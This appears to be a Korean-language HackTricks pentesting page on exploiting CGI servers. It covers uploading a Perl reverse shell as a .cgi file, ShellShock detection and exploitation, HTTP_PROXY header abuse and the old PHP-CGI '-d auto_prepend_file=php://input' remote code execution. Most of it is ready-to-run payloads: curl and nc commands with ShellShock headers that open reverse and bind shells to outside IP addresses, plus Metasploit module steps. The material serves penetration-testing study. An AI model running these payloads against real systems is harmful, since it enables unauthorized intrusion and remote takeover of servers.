{{#include ../../banners/hacktricks-training.md}} # 정보 **CGI 스크립트는 perl 스크립트**이므로, _**.cgi**_ 스크립트를 실행할 수 있는 서버를 침해한 경우 **perl 리버스 셸** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\)을 **업로드**하고, **확장자를** **.pl**에서 **.cgi**로 변경한 후, **실행 권한** \(`chmod +x`\)을 부여하고 **웹 브라우저**에서 리버스 셸에 **접속**하여 실행할 수 있습니다. **CGI 취약점**을 테스트하기 위해 `nikto -C all` \(및 모든 플러그인\)을 사용하는 것이 권장됩니다. # **ShellShock** **ShellShock**는 Unix 기반 운영 체제에서 널리 사용되는 **Bash** 명령줄 셸에 영향을 미치는 **취약점**입니다. 이는 Bash가 애플리케이션에 의해 전달된 명령을 실행할 수 있는 능력을 목표로 합니다. 취약점은 **환경 변수**의 조작에 있으며, 이는 컴퓨터에서 프로세스가 실행되는 방식에 영향을 미치는 동적 이름 값입니다. 공격자는 환경 변수에 **악성 코드**를 첨부하여 변수를 수신할 때 실행되도록 할 수 있습니다. 이를 통해 공격자는 시스템을 손상시킬 수 있습니다. 이 취약점을 악용하면 **페이지에서 오류가 발생할 수 있습니다**. 이 취약점을 **찾을 수 있는** 방법은 **구식 Apache 버전**과 **cgi_mod** \(cgi 폴더 포함\)을 사용하고 있는 것을 확인하거나 **nikto**를 사용하는 것입니다. ## **테스트** 대부분의 테스트는 무언가를 에코하고 해당 문자열이 웹 응답으로 반환되기를 기대하는 방식으로 진행됩니다. 페이지가 취약할 수 있다고 생각되면 모든 cgi 페이지를 검색하고 테스트하십시오. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` ## **Curl \(반사, 블라인드 및 아웃 오브 밴드\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' # Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump) curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi # Out-Of-Band Use Cookie as alternative to User-Agent curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh ``` [**Shellsocker**](https://github.com/liamim/shellshocker) ```bash python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi ``` ## 익스플로잇 ```bash #Bind Shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 #Reverse shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80 #Reverse shell using curl curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi #Reverse shell using metasploit > use multi/http/apache_mod_cgi_bash_env_exec > set targeturi /cgi-bin/admin.cgi > set rhosts 10.1.2.11 > run ``` # **프록시 \(MitM에서 웹 서버 요청으로\)** CGI는 http 요청의 각 헤더에 대해 환경 변수를 생성합니다. 예를 들어: "host:web.com"은 "HTTP_HOST"="web.com"으로 생성됩니다. HTTP_PROXY 변수가 웹 서버에 의해 사용될 수 있으므로, "**헤더**에 다음을 포함하여 전송해 보십시오: "**Proxy: <IP_attacker>:<PORT>**" 그리고 서버가 세션 중에 요청을 수행하는 경우, 서버가 만든 각 요청을 캡처할 수 있습니다. # 구형 PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) 기본적으로 cgi가 활성화되어 있고 php가 "구형" \(<5.3.12 / < 5.4.2\)인 경우 코드를 실행할 수 있습니다. 이 취약점을 악용하기 위해서는 매개변수를 전송하지 않고 \(특히 "=" 문자를 전송하지 않고\) 웹 서버의 일부 PHP 파일에 접근해야 합니다. 그런 다음 이 취약점을 테스트하기 위해 예를 들어 `/index.php?-s`에 접근할 수 있으며 \(note the `-s`\) **응답에 애플리케이션의 소스 코드가 나타납니다**. 그런 다음 **RCE**를 얻기 위해 이 특별한 쿼리를 전송할 수 있습니다: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` 그리고 **요청 본문에 실행할 PHP 코드**. 예:** ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` **취약점 및 가능한 익스플로잇에 대한 추가 정보:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF 작성 예시**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** {{#include ../../banners/hacktricks-training.md}}